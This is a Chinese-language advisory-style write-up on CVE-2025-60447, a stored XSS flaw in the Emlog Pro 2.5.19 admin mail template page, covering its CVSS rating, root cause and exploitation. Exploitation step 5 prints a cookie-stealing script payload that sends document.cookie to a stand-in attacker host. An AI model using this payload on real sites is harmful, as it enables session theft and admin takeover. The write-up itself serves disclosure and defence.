CVE-2025-60447CVE-2025-60447是Emlog Pro内容管理系统2.5.19版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞位于管理后台的邮件模板配置页面,具体路径为/admin/setting.php?action=mail。在该页面中,管理员可以配置邮件模板内容,但系统未对用户输入的HTML代码进行充分的过滤和转义处理,导致攻击者可以注入恶意的HTML和JavaScript代码。由于该漏洞属于存储型XSS,恶意代码会被持久化保存在服务器端,每当其他用户(包括其他管理员)访问相关页面时,嵌入的恶意脚本将在受害者浏览器中自动执行。
根据CVSS 3.1评分标准,该漏洞的CVSS评分为5.9分,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要高权限(PR:H)才能利用,要求攻击者必须拥有管理员账户。同时,该漏洞需要用户交互(UI:R)才能触发完整的攻击链。在影响范围方面,该漏洞会对系统的机密性、完整性和可用性造成低级别的影响(Scope Changed,S:C),因为恶意脚本可能在管理员上下文中执行,从而影响整个管理后台的安全。
该漏洞的利用场景主要针对拥有管理权限的攻击者或通过其他途径获取管理员凭证的攻击者。一旦利用成功,攻击者可以窃取管理员的会话Cookie、执行未授权的操作、篡改网站内容,甚至通过管理员权限进一步渗透到服务器端,对整个网站的安全性构成严重威胁。
该漏洞的根本原因在于Emlog Pro 2.5.19版本中/admin/setting.php?action=mail页面对用户输入的处理缺乏足够的安全防护。具体技术细节如下:
1. **输入点**:邮件模板配置页面允许管理员编辑邮件模板内容,包括邮件主题和邮件正文。攻击者可以在这些字段中注入恶意的HTML标签和JavaScript代码。
2. **过滤缺失**:服务器端在保存邮件模板配置时,未对HTML特殊字符(如<、>、"、'等)进行适当的转义或过滤处理,也未使用白名单机制限制允许的HTML标签和属性。
3. **存储机制**:由于缺乏输入过滤,恶意代码被直接存储到数据库中。当其他管理员或用户访问查看邮件模板配置页面时,服务器从数据库中读取内容并直接输出到HTML页面中,未进行输出编码(Output Encoding)。
4. **触发执行**:受害者的浏览器接收到包含恶意脚本的页面内容后,会自动解析并执行嵌入的JavaScript代码。由于该脚本在管理后台的上下文中执行,具有较高的权限,可以访问管理功能、窃取敏感信息或执行其他恶意操作。
5. **利用方式**:攻击者首先需要获取管理员账户的访问权限(可能通过社会工程学、弱口令爆破或其他途径)。然后登录管理后台,导航至邮件模板配置页面,在邮件模板内容中注入类似`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`的恶意代码。保存后,每当其他管理员查看该页面或系统发送使用该模板的邮件时,恶意脚本将被执行。